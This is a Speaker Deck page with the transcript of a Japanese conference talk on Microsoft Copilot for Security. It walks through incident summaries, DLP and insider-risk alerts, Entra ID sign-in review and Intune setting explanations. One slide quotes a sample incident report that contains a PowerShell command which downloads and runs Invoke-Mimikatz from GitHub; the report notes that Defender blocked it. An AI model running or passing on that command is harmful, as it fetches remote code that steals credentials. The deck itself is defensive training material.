Lock in $30 Savings on PRO—Offer Ends Soon! ⏳
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
なんでもCopilot for Security
Search
Kunii, Suguru
August 14, 2024
Technology
3
4.3k
なんでもCopilot for Security
2024年8月14日開催 「なんでもCopilot」の登壇資料
Kunii, Suguru
August 14, 2024
Tweet
Share
More Decks by Kunii, Suguru
See All by Kunii, Suguru
Microsoft Intune アプリのトラブルシューティング
sophiakunii
1
620
実録 Intune デバイス登録トラブルシューティング
sophiakunii
0
44
Microsoft 365 でデータセキュリティを強化しよう
sophiakunii
2
620
Monthly Microsoft Intune Briefing Call Japan #2
sophiakunii
0
130
Copilot for Security を使った MDE / Sentinel のログ調査
sophiakunii
3
440
Microsoft Defender for Endpoint でインシデント対応する上で知っておきたい Windows の知識
sophiakunii
0
230
Microsoft Defender for Endpoint でインシデント対応する上で知っておきたい Windows の知識
sophiakunii
6
4.7k
Microsoft Cloud Security Benchmarkから学ぶMicrosoft Defender for Cloud
sophiakunii
4
840
Microsoft Defender for Endpointによるインシデント調査
sophiakunii
3
4.3k
Other Decks in Technology
See All in Technology
[DevFestTokyo]Accelerating Flutter App Development Using Generative AI
korodroid
1
350
Will Positron accelerate us?
lycorptech_jp
PRO
1
120
コーポレートデータマスター構築への道
kworkdev
PRO
0
130
Empowering Customer Decisions with Elasticsearch: From Search to Answer Generation
hinatades
PRO
0
300
【ASW21-01】STAMPSTPAで導き出した課題に対する対策立案手法の提案
hianraku9498
0
590
プロダクトマネージャーは 事業責任者の夢をみるのか pmconf2024
gimupop
1
8.8k
B10-ひと目でわかる(といいなぁ)Microsoft Purview
seafay
PRO
0
440
ドメインロジックで考えるテスタビリティ
leveragestech
1
280
re:Invent2024のIaC周りのアップデート&セッションの共有/around-re-invent-2024-iac-updates
tomoki10
0
500
【AWS re:Invent 2024】Amazon Bedrock アップデート総まとめ
minorun365
PRO
7
580
2024/12/05 AITuber本著者によるAIキャラクター入門 - AITuberの基礎からソフトウェア設計、失敗談まで
sr2mg4
2
570
ファインディの4年にわたる技術的負債の返済 / Repaying 4 Years of Technical Debt at Findy
ma3tk
7
3.8k
Featured
See All Featured
Let's Do A Bunch of Simple Stuff to Make Websites Faster
chriscoyier
507
140k
The World Runs on Bad Software
bkeepers
PRO
65
11k
Intergalactic Javascript Robots from Outer Space
tanoku
269
27k
CSS Pre-Processors: Stylus, Less & Sass
bermonpainter
356
29k
Become a Pro
speakerdeck
PRO
25
5k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
47
5.1k
Writing Fast Ruby
sferik
627
61k
How to Ace a Technical Interview
jacobian
276
23k
Why Our Code Smells
bkeepers
PRO
334
57k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
280
13k
Rails Girls Zürich Keynote
gr2m
94
13k
Being A Developer After 40
akosma
87
590k
Transcript
なんでも Copilot for Security
2 自己紹介 • 国井 傑 (くにい すぐる) • 株式会社エストディアン 所属
• 公立大学法人会津大学 客員教授 • マイクロソフト認定トレーナー (1997~2025) • Microsoft MVP for Security (2006~2025) • ブログ https://AzureAD.net • 主な職務・実績 • Microsoft 365 セキュリティ/インフラ管理に関わる トレーニング • テクニカル ライター • ひと目でわかる Microsoft Defender for Endpoint • 最短突破 Microsoft Azure セキュリティテクノロジ合格教本 • ひと目でわかる Microsoft Intune など
None
4 拡散希望! https://aka.adfs.jp/wishlist
はじめに
6
7 もうちょっとわかりやすくすると.. Copilot for Security Microsoft Defender TI / EASM
Microsoft Sentinel urlscan Microsoft Entra ID Microsoft Intune Microsoft Defender XDR Microsoft Purview 調査対象 過去ログの参照 脅威情報の参照
8 SCU の割り当て Copilot for Security Microsoft Entra ID Microsoft
Intune Microsoft Defender XDR Microsoft Purview 調査対象 Security Compute Unit (SCU) Microsoft Azure
9 使い始めたいと思ったら覚えておくこと SCU をユニット単位で利用権を購入し、ユニットの範囲内でプロンプトを 利用します。ただし、そのコストはユニット当たり$2880と高額なので 使用しないときは Azure リソースごと削除しておきましょう
10 Copilot for Security ユーザー インターフェイス 埋め込み型 スタンドアロン型 https://securitycopilot.microsoft.com/
Microsoft Defender XDR
12 • 埋め込み型から利用可能なスキル • インシデント概要解説 • ファイルの解説 • プロセスのコマンド解説 •
自然言語からクエリの作成 • インシデント レポート • スタンドアロン型から利用可能なスキル • 上記の内容 • インシデントに関連する IOC と TTP • 脆弱性の管理 (CVE, ASR) スキル
13 インシデントの調査 ~ サンプルのインシデント
14 インシデントにアクセスすると自動的に概要情報を要約
15 ガイド付き応答による能動的なインシデント対応
16 ガイド付き応答による能動的なインシデント対応
17 インシデント レポートから概要を把握 重要度の高いインシデント「1つのエンドポイント上のMimikatz認証 情報盗難ツール」は、2024-06-10 10:18:07 UTC ~ 2024-06-10 10:18:18
UTCの間に発生しました。 クレデンシャルアクセス:2024-06-10 10:18:07 UTCにおいて、 Mimikatz認証情報盗難ツールがデバイス「xxxxx」(Windows 10)上で検出され、ユーザー「SuguruKUNII」に影響を与えました。 このツールはプロセス「cmd.exe」に関連していた。 その直後、同時に「xxxxx」上のDefenderが、コマンドライン 「C:¥Windows¥System32¥WindowsPowerShell¥v1.0」内の 「HackTool:PowerShell/Mimikatz.B」の実行を阻止した。exe powershell -c IEX(New-Object System.Net.WebClient).DownloadString(¥u0027hxxps://raw .githubusercontent.com/g4uss47/Invoke- Mimikatz/master/Invoke-Mimikatz.ps1u0027);Invoke- Mimikatz'.この操作により、「SuguruKUNII」からの認証情報の盗 難の可能性がなくなった。
18 Microsoft Defender for Office 365 x Copilot Copilot に投げてみる
19 調査結果
20 プラグインの活用 Copilot for Security のプロンプトは 有効化されたプラグインを利用します。 既定のプラグインに加えてサードパーティの プラグインを利用したり、プラグインそのものを 追加したりすることができます。
21 プラグインの設定
22 プロンプトブックの活用 プロンプトブックとはプロンプトに入れる 文字列をあらかじめ定義し、必要なステップを 自動的に行う「プロンプト集」です。 プロンプトブックは MS 提供のもののほかに 自身で作成して利用することもできます。
Microsoft Purview
24 • 埋め込み型から利用可能なスキル • DLP アラートの説明 • 内部リスクの管理アラートの詳細 • スタンドアロン型から利用可能なスキル
• 秘密度ラベル • DLP • 内部リスクの管理 • プロンプト例 • 上記の内容 • 優先すべきDLPアラート • ユーザーについての詳細 (アラートにどうかかわっているか?を調査) • DLP アラートに関連するデータリスクは何か • DLP アラートに関連するファイルについて過去7日間で行われたこと • 特定のファイルに対して設定されている秘密度ラベルについて スキルとプロンプト例
25 DLP アラートの要約
26 内部リスクの管理アラートの要約
27 内部リスクの管理アラートの要約
28 秘密度ラベルの変更/削除の履歴を追跡
Microsoft Entra ID
30 • 埋め込み型から利用可能なスキル • Identity Protection によって検知されたサインイン/ユーザー リスクの解説 • スタンドアロン型から利用可能なスキル
• ユーザー/グループの情報 • サインインログ/監査ログの情報 • プロンプト例 • Identity Protection に出力されたログの要約 • 特定の日付、特定のユーザーによるサインイン履歴の追跡 • 過去14日間でサインインしたユーザーの一覧 • Microsoft Teams 以外のサービスにアクセスしたゲスト ユーザーの一覧 • 過去7日間で削除されたユーザー • アプリの登録に特定のアプリを登録したユーザーの追跡 スキルとプロンプト例
31 Identity Protection によって検知されたサインイン リスク
32 不要なゲストユーザーを見極める
Microsoft Intune
34 • 埋め込み型から利用可能なスキル • デバイスの探索/別のデバイスとの比較 • エラーコードの分析 • 構成プロファイル/コンプライアンスポリシーの集計 (説明)
• 構成プロファイル/コンプライアンスポリシー/セキュリティベースラインの項目説明 • スタンドアロン型から利用可能なスキル • デバイスの情報 • ユーザー/デバイスを起点とするアプリの情報 スキル
35 • プロンプト例 • 構成プロファイルの解説 • デバイスのハードウェア構成の比較 • 非準拠デバイスの非準拠理由 •
エラーコードの解説 • 特定ユーザーが利用しているデバイス一覧 • 特定デバイスにインストールしたアプリ一覧 • DeviceA デバイスと DeviceB デバイス間のコンプライアンス ポリシーの類似点は何ですか? • DeviceA と DeviceB のデバイス構成プロファイルの違いは何ですか? • DeviceA と DeviceB にインストールされているアプリケーションを比較 プロンプト例
36 埋め込み型の設定
37 埋め込み型の設定
38 結果 Intune の設定 "ウィジェットを許可する" について説明します。この設定は、デバイス上のウィジェット機能が 許可されるかどうかを指定します。ウィジェットは、ユーザーがカスタマイズできるニュースとフィードのサービスで、 このサービスをオフにすると、このサービスを使用しているアプリが動作を停止する可能性があります。 この設定は、ウィジェット体験全体に適用され、タスクバー上のコンテンツを含みます。デフォルトではウィジェットは オンになっており、設定で変更しない限り、以前にこの機能をオンにした場合は自動的にオンになります。
設定の詳細は以下の通りです: •形式: int •アクセスタイプ:追加、削除、取得、置換 •デフォルト値: 1 許可される値: •0:許可されません。 •1(デフォルト):許可されます。 この設定は、グループポリシーまたはMDMソリューション(Microsoft Intuneなど)のカスタム設定を使用して ウィジェットをオフにすることができます。グループポリシーの場合、Intuneの設定カタログでも利用可能な 「ウィジェットを許可する」ポリシーを使用できます。MDMソリューションの場合、NewsandInterests設定 プロバイダ(CSP)のAllowNewsAndInterests設定を使用できます。 この設定は、以下の範囲とエディションで適用可能です: •スコープ:デバイス •エディション:Pro、Enterprise、Education、Windows SE、IoT Enterprise / IoT Enterprise LTSC •適用可能なOS:Windows 11, version 21H2 [10.0.22000] 以降
39 まとめ Copilot for Security Microsoft Defender TI / EASM
Microsoft Sentinel urlscan Microsoft Entra ID Microsoft Intune Microsoft Defender XDR Microsoft Purview プロンプトブック 会社のインシデント 対応フローを実装 調査対象 不要なゲストユーザーを 見極める エラーコードの検索 インシデントの概要 特定エンティティの調査 レポート作成 過去ログの参照 脅威情報の参照 秘密度ラベルの設定変更 DLP のアラートを繰り返し 行うユーザーの追跡 ファイル プロンプトで利用する データをあらかじめ登録